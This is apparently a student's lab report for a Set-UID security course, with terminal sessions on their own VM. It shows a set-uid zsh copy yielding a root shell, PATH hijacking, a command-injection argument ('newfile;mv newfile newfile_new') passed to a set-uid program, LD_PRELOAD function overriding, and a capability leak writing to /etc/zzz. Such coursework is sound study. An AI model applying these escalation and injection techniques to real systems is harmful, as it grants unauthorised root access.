

Lab #2: Set UID Attacks

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Task 1- Shell Exploration

1. The applications in the /usr/bin directory are still configured with Set-UID and root permissions in the first four lines. and the four commands are no longer Set-UID programs after I copied it to my directory.

```
neriah@Ubuntu:/usr/bin$ ls -l passwd chsh su sudo
-rwsr-xr-x 1 root root 44808 Nov 24 2022 chsh
-rwsr-xr-x 1 root root 59976 Nov 24 2022 passwd
-rwsr-xr-x 1 root root 55672 Feb 20 2022 su
-rwsr-xr-x 1 root root 232416 Apr 3 2023 sudo
neriah@Ubuntu:/usr/bin$ cp /usr/bin/chsh /home/neriah
neriah@Ubuntu:/usr/bin$ cp /usr/bin/passwd /home/neriah
neriah@Ubuntu:/usr/bin$ cp /usr/bin/su /home/neriah
neriah@Ubuntu:/usr/bin$ cp /usr/bin/sudo /home/neriah
neriah@Ubuntu:/usr/bin$ cd /home/neriah/
neriah@Ubuntu:~$ ls -al chsh passwd su sudo
-rwxr-xr-x 1 neriah neriah 44808 Oct 10 02:51 chsh
-rwxr-xr-x 1 neriah neriah 59976 Oct 10 02:51 passwd
-rwxr-xr-x 1 neriah neriah 55672 Oct 10 02:51 su
-rwxr-xr-x 1 neriah neriah 232416 Oct 10 02:51 sudo
neriah@Ubuntu:~$
```

2. The permissions were set to root before executing the cmd `cp /bin/zsh tmp/zsh`; after copying the file to /tmp, the root permissions have been removed.

```
neriah@Ubuntu:/bin$ ls -l zsh
-rwxr-xr-x 1 root root 1013328 Feb 12 2022 zsh
neriah@Ubuntu:/bin$ cd /tmp
neriah@Ubuntu:/tmp$ ls -l zsh
-rwxr-xr-x 1 neriah neriah 1013328 Oct 9 11:59 zsh
neriah@Ubuntu:/tmp$
```

3. Completing the procedures outlined in this query. To start, I write `cp /bin/zsh /tmp`, `chmod 4755 /tmp/zsh`, and then execute `/tmp/zsh`. After executing zsh and verifying my ID and EUID, I am able to obtain root access.

```

neriah@Ubuntu:~$ su root
Password:
root@Ubuntu:/home/neriah# cp /bin/zsh /tmp
root@Ubuntu:/home/neriah# chmod 4755 /tmp/zsh
root@Ubuntu:/home/neriah# exit
exit

```

```

neriah@Ubuntu:~$ /tmp/zsh
Ubuntu# whoami
root
Ubuntu# id
uid=1000(neriah) gid=1000(neriah) euid=0(root) groups=1000(neriah)
Ubuntu# id -u
0
Ubuntu# id -u -r
1000
Ubuntu#

```

4. Repeat above procedure with /bin/bash instead of /bin/zsh. Copy /bin/bash to /tmp, make it a set-root-uid program. Run /tmp/bash as a normal user. Will you get root privilege? Please describe and explain your observation
 - a. Doing the same above steps, I am unable to gain root privileges.

```

neriah@Ubuntu:~$ su root
Password:
root@Ubuntu:/home/neriah# cp /bin/bash /tmp
root@Ubuntu:/home/neriah# chmod 4755 /tmp/bash
root@Ubuntu:/home/neriah# exit
exit
neriah@Ubuntu:~$ /tmp/bash
bash-5.1$ id
uid=1000(neriah) gid=1000(neriah) groups=1000(neriah)
bash-5.1$ whoami
neriah
bash-5.1$ id -u
1000
bash-5.1$ id -u -r
1000
bash-5.1$

```

Task 2 – Exploiting PATH Environment Variable

```
# include <stdio.h>
```

```
# include <stdlib.h>
```

```
Int main ()
```

```
{
```

```
    system("ls");
```

```
    return 0;
```

```
}
```

1. Demonstrate if you can allow the above Set-UID program owned by the root to run your code instead of /bin/ls. If you are successful, is your code running with root privileges? Explain your observation. In order to do this task, you need to perform the following actions:

- a. Create the above program as a Set-UID program and test to see if the results match the intent of the program.
 - i. Using the code supplied for this assignment, I wrote a script called customls.c and produced the program. I then typed **sudo chown root:root [prog_name]** and **sudo chmod +s [prog_name]** to run the command to Set-UID a program.

```
neriah@Ubuntu:~$ ls
customls  customls.c  Documents  ls  Pictures  snap  Videos
customls2.c  Desktop  Downloads  Music  Public  Templates

neriah@Ubuntu:~$ sudo chown root:root ls
[sudo] password for neriah:
neriah@Ubuntu:~$ sudo chmod u+s ls
neriah@Ubuntu:~$ ls -l ls
-rwsrwxr-x 1 root root 15968 Oct  9 15:07 ls

neriah@Ubuntu:~$ ./ls
customls  customls.c  Documents  ls  Pictures  snap  Videos
customls2.c  Desktop  Downloads  Music  Public  Templates
neriah@Ubuntu:~$
```

- b. Creating a customls program (different than the previous one)

```
neriah@Ubuntu:~$ cat customls2.c
#include <stdio.h>
#include <stdlib.h>

int main()
{
    printf("hi! im a different ls!");
    return 0;
}
neriah@Ubuntu:~$
```

Afterward, execute **gcc customls2.c -o ls**. After that, use **ls -l ls** to see if the program itself doesn't have root rights before launching it with **./ls**.

```
neriah@Ubuntu:~$ gcc customls2.c -o ls
neriah@Ubuntu:~$ ls -l ls
-rwxrwxr-x 1 neriah neriah 15968 Oct  9 15:17 ls
neriah@Ubuntu:~$ ./ls
hi! im a different ls!neriah@Ubuntu:~$
```

- c. Make the necessary changes to the PATH variable such that your program *ls* is called when you run the above Set-UID program. Report your observations.

- i. Changing the path variable by typing `export PATH=$(pwd):$PATH` and then running the program using `./ls`

```
neriah@Ubuntu:~$ export PATH=$(pwd):$PATH
neriah@Ubuntu:~$ ls
hi! im a different ls!neriah@Ubuntu:~$
```

- d. Report if your code is running with root privileges or not.

- i. My code for part C is not running any root privileges.

```
neriah@Ubuntu:~$ ls -l ls
-rwxrwxr-x 1 neriah neriah 15968 Oct  9 15:43 ls
neriah@Ubuntu:~$
```

- 2. Now, change `/bin/sh` so it points back to `/bin/bash`, and repeat the steps. Can you still get the root privilege? Explain your observations.

- a. After changing back my `/bin/sh` back to `/bin/bash`, I am unable to do `chown` or `chmod` to Set-UID a program. But the program will still be able to run without root privileges or SetUID.

```
neriah@Ubuntu:~$ ls
customls2.c Desktop Downloads Music Public Templates
customls.c Documents ls Pictures snap Videos
neriah@Ubuntu:~$ ls -l ls
-rwxrwxr-x 1 neriah neriah 15968 Oct  9 16:48 ls
neriah@Ubuntu:~$ sudo chown root:root ls
[sudo] password for neriah:
neriah is not in the sudoers file. This incident will be reported.
neriah@Ubuntu:~$ sudo chmod +s ls
[sudo] password for neriah:
neriah is not in the sudoers file. This incident will be reported.
neriah@Ubuntu:~$ ./ls
customls2.c Desktop Downloads Music Public Templates
customls.c Documents ls Pictures snap Videos
neriah@Ubuntu:~$ gcc customls2.c -o ls
neriah@Ubuntu:~$ ./ls
hi! im a different ls!
neriah@Ubuntu:~$ pwd
/home/neriah
neriah@Ubuntu:~$ echo $SHELL
/bin/bash
```

Task 3 - Exploiting Set-UID program

- a. I set `q = 0` in the program and then generated a file named "newfile" that can only be read, edited, and executed by root. I then built a program that was listed for task 3 and gave root privileges (`sudo chown root:root [prog_name]` and `sudo chmod +s [prog_name]`). The newfile cannot be viewed by an ordinary user, but it was read and modified by the "task3" program when it is run with root access and SetUID permissions (with the command `./task3 "newfile;mv newfile newfile_new"`). As a result, the program is NOT secure and will jeopardize the system's integrity.

b.

```
neriah@Ubuntu:~$ ls
customls2.c Desktop Downloads newfile Public task3 Templates
customls.c Documents Music Pictures snap task3.c Videos
neriah@Ubuntu:~$ ls -l task3 newfile
-rwx----- 1 root root 40 Oct 9 19:13 newfile
-rws--sr-x 1 root root 16224 Oct 9 19:14 task3
neriah@Ubuntu:~$ cat newfile
cat: newfile: Permission denied
neriah@Ubuntu:~$
```

```
neriah@Ubuntu:~$ ls -l newfile task3
-rwx----- 1 root root 40 Oct 9 19:13 newfile
-rws--sr-x 1 root root 16224 Oct 9 19:14 task3
neriah@Ubuntu:~$ ./task3 "newfile;mv newfile newfile_new"

test file!! unreadable!! (supposedly.)
neriah@Ubuntu:~$ ls
customls2.c Desktop Downloads newfile_new Public task3 Templates
customls.c Documents Music Pictures snap task3.c Videos
neriah@Ubuntu:~$
```

- c. After setting $q = 1$ in the program, and running the same command, the results show that there is no such file or directory. The system() works since it is linked to the zsh shell while execve() does the command without running through the shell, interpreting the code differently.

```
neriah@Ubuntu:~$ ls
customls2.c Desktop Downloads newfile Public task3 Templates
customls.c Documents Music Pictures snap task3.c Videos
neriah@Ubuntu:~$ nano task3
neriah@Ubuntu:~$ nano task3.c
neriah@Ubuntu:~$ gcc task3.c -o task3
task3.c: In function 'main':
task3.c:22:8: warning: implicit declaration of function 'execve' [-Wimplicit-function-declaration]
  22 |     else execve(v[0], v, 0);
      |           ^~~~~~
neriah@Ubuntu:~$ ./task3 "newfile;mv newfile newfile_newnew"
/bin/cat: 'newfile;mv newfile newfile_newnew': No such file or directory
```

Task 4 – LD_PRELOAD environment variable.

- d. Creating the dynamic link library named "task4.c"

```
neriah@Ubuntu:~$ nano task4.c
neriah@Ubuntu:~$ cat task4.c
#include <stdio.h>
void sleep (int s)
{
    printf("I am not sleeping!\n");
}
```

- e. (in photo f)
f.

```

neriah@Ubuntu:~$ gcc -fPIC -c mylib.c
neriah@Ubuntu:~$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
neriah@Ubuntu:~$ export LD_PRELOAD=./libmylib.so.1.0.1
neriah@Ubuntu:~$ nano myprog.c
neriah@Ubuntu:~$ gcc myprog.c -o myprog
myprog.c: In function 'main':
myprog.c:4:4: warning: implicit declaration of function 'sleep' [-Wimplicit-function-declaration]
   4 |     sleep(1);
     |     ^~~~~~

```

```

neriah@Ubuntu:~$ cat myprog.c
/* myprog.c */
int main()
{
    sleep(1);
    return 0;
}
neriah@Ubuntu:~$

```

- g. Running “myprog” as a regular program as a normal user.

```

neriah@Ubuntu:~$ ls
customls2.c  Documents      Music    myprog    Pictures  task3      Videos
customls.c  Downloads     mylib.c myprog.c  Public    task3.c
Desktop     libmylib.so.1.0.1 mylib.o newfile   snap     Templates
neriah@Ubuntu:~$ ./myprog
I am not sleeping!
neriah@Ubuntu:~$

```

- Made myprog a Set-UID root program and ran it as a normal user. After running the program, nothing happened. By observation, it ignored the LD_PRELOAD variable and just used default sleep() instead of the custom one provided for this task.

```

neriah@Ubuntu:~$ sudo su
[sudo] password for neriah:
root@Ubuntu:/home/neriah# export LD_PRELOAD=./libmylib.so.1.0.1
root@Ubuntu:/home/neriah# gcc -o myprog myprog.c
myprog.c: In function 'main':
myprog.c:4:4: warning: implicit declaration of function 'sleep' [-Wimplicit-function-declaration]
   4 |     sleep(1);
     |     ^~~~~~
root@Ubuntu:/home/neriah# chmod u+s myprog
root@Ubuntu:/home/neriah# exit
exit
neriah@Ubuntu:~$ ./myprog
neriah@Ubuntu:~$ ls -l myprog
-rwsr-xr-x 1 root root 15960 Oct 10 00:05 myprog
neriah@Ubuntu:~$

```

- Make myprog a Set-UID root program, and run it in the root account.
 - The results show that it used the LD_PRELOAD variable and did not use the sleep()

```

neriah@Ubuntu:~$ su root
Password:
su: Authentication failure
neriah@Ubuntu:~$ su root
Password:
root@Ubuntu:/home/neriah# ls
customls2.c  Documents      Music    myprog    Pictures  task3      Videos
customls.c   Downloads     mylib.c  myprog.c  Public    task3.c
Desktop      libmylib.so.1.0.1  mylib.o  newfile   snap      Templates
root@Ubuntu:/home/neriah# export LD_PRELOAD=./libmylib.so.1.0.1
root@Ubuntu:/home/neriah# gcc myprog.c -o myprog
myprog.c: In function 'main':
myprog.c:4:4: warning: implicit declaration of function 'sleep' [-Wimplicit-func
tion-declaration]
    4 |     sleep(1);
      |     ^~~~~~
root@Ubuntu:/home/neriah# chmod u+s myprog
root@Ubuntu:/home/neriah# ./myprog
I am not sleeping!
root@Ubuntu:/home/neriah#

```

- Make myprog a Set-UID user1 program (i.e., the owner is user1, which is another user account), and runs it as a different user(not-root user).
 - After running the “myprog” program, nothing happened. Therefore, it used the default sleep() function.

```

neriah@Ubuntu:~$ su user1
Password:
$ ls
customls2.c  Documents      Music    myprog    Pictures  task3      tmp
customls.c   Downloads     mylib.c  myprog.c  Public    task3.c    Videos
Desktop      libmylib.so.1.0.1  mylib.o  newfile   snap      Templates
$ LD_PRELOAD=./libmylib.so.1.0.1
$ gcc myprog.c -o myprog
/usr/bin/ld: cannot open output file myprog: Permission denied
collect2: error: ld returned 1 exit status
$ gcc myprog.c -o myprog
myprog.c: In function 'main':
myprog.c:4:4: warning: implicit declaration of function 'sleep' [-Wimplicit-func
tion-declaration]
    4 |     sleep(1);
      |     ^~~~~~
/usr/bin/ld: cannot open output file myprog: Permission denied
collect2: error: ld returned 1 exit status
$ sudo chmod u+s myprog
$ su neriah
Password:
neriah@Ubuntu:~$ ./myprog
neriah@Ubuntu:~$

```

Task 5 – Capability Leak

In the class, we looked at an example of capability leak. Here is another example of the same issue. Compile the following program, and make the program a SETUID root program. Run it in a normal user account, and describe what you have observed. Will the file /etc/zzz be modified? Please explain your observation.

You need to submit a detailed report to describe what you have done and what you have observed; you also need to provide explanation to the observations that are interesting or surprising

- I created a file in the /etc directory containing the “zzz” file. And created the program containing the code for task 5 and named it “task5” and copied it to /etc.

```

root@Ubuntu:/etc# nano zzz
root@Ubuntu:/etc# ls -l zzz
-rw-r--r-- 1 root root 18 Oct 10 02:10 zzz
root@Ubuntu:/etc# cd /home/neriah
root@Ubuntu:/home/neriah# ls
customls2.c  Downloads      mylib.o  Pictures  task3.c  tmp
customls.c   libmylib.so.1.0.1  myprog   Public    task5     Videos
Desktop      Music          myprog.c  snap     task5.c
Documents    mylib.c        newfile   task3     Templates
root@Ubuntu:/home/neriah# ls -l taask5
ls: cannot access 'taask5': No such file or directory
root@Ubuntu:/home/neriah# ls -l task5
-rwsr-xr-x 1 root root 16296 Oct 10 02:06 task5
root@Ubuntu:/home/neriah# cp task5 /etc
root@Ubuntu:/home/neriah# exit
exit
neriah@Ubuntu:~$

```

I then exit out of root in an attempt to run the “task5” program in the /etc directory. After I ran the program, there was a dialogue that said “malicious data.” meaning that the file was manipulated. This is an interesting security vulnerability that the file was opened before the program gives up root permission.

```

neriah@Ubuntu:/$ cd /etc
neriah@Ubuntu:/etc$ ls -l task5 zzz
-rwsr-xr-x 1 root root 16296 Oct 10 02:12 task5
-rw-r--r-- 1 root root      18 Oct 10 02:10 zzz
neriah@Ubuntu:/etc$ ./task5
neriah@Ubuntu:/etc$ cat zzz
test file filler.
Malicious Dataneriah@Ubuntu:/etc$

```